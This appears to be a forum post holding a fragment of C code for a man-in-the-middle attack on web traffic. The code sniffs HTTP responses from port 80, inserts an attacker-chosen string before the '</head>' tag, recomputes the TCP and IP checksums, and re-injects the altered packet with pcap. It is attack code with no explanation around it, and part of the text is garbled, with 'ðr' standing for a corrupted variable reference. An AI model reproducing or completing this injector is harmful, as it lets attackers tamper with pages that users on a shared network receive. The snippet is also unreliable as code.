18,356
社区成员
发帖
与我相关
我的任务
分享
if(iphdr.proto==IPPROTO_TCP)
{
TCP_HEADER tcphdr;
PSD_HEADER psdhdr;
int iSourcePort,iDestPort;
int TcpHeaderLen,Origdatalen;
tcphdr=*(TCP_HEADER *)(data+14+iphdrlen);
iSourcePort = ntohs(tcphdr.th_sport);
iDestPort = ntohs(tcphdr.th_dport);
TcpHeaderLen= tcphdr.th_lenres>>4;
TcpHeaderLen*=sizeof(unsigned long);
Origdatalen=datalen-14-iphdrlen-TcpHeaderLen;
if(iSourcePort==80&&Origdatalen&&TcpHeaderLen)
{
memcpy(tcpdatabuff,data+14+iphdrlen+TcpHeaderLen,Origdatalen);
if(char *p=strstr(tcpdatabuff,"</head>"))
{
*p='\0';
sprintf(mitmbuff,"%s%s<%s",tcpdatabuff,m_tostr,p+1);
psdhdr.saddr=iphdr.sourceIP;
psdhdr.daddr=iphdr.destIP;
psdhdr.mbz=0;
psdhdr.ptcl=IPPROTO_TCP;
psdhdr.tcpl=htons(TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
tcphdr.th_sum=0;
memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&psdhdr,sizeof(PSD));
memcpy(returnbuff+sizeof(PSD),&tcphdr,TcpHeaderLen);
memcpy(returnbuff+sizeof(PSD)+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));
tcphdr.th_sum=CheckSum((USHORT *)returnbuff,sizeof(PSD)+TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&tcphdr,TcpHeaderLen);
memcpy(returnbuff+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));
iphdr.checksum=0;
iphdr.total_len=htons(datalen+(m_tolen-m_fromlen)-14);
iphdr.checksum=CheckSum((USHORT *)&iphdr,sizeof(IP_HEADER));
memset(sendbuff,0,sizeof(sendbuff));
memcpy(sendbuff,ðr,sizeof(ET_HEADDER));
memcpy(sendbuff+sizeof(ET_HEADDER),&iphdr,iphdrlen);
memcpy(sendbuff+sizeof(ET_HEADDER)+iphdrlen,returnbuff,TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
datalen=datalen+(m_tolen-m_fromlen);
}
}
}
pcap_sendpacket(SniffOpenhandle, (UCHAR *)sendbuff, datalen);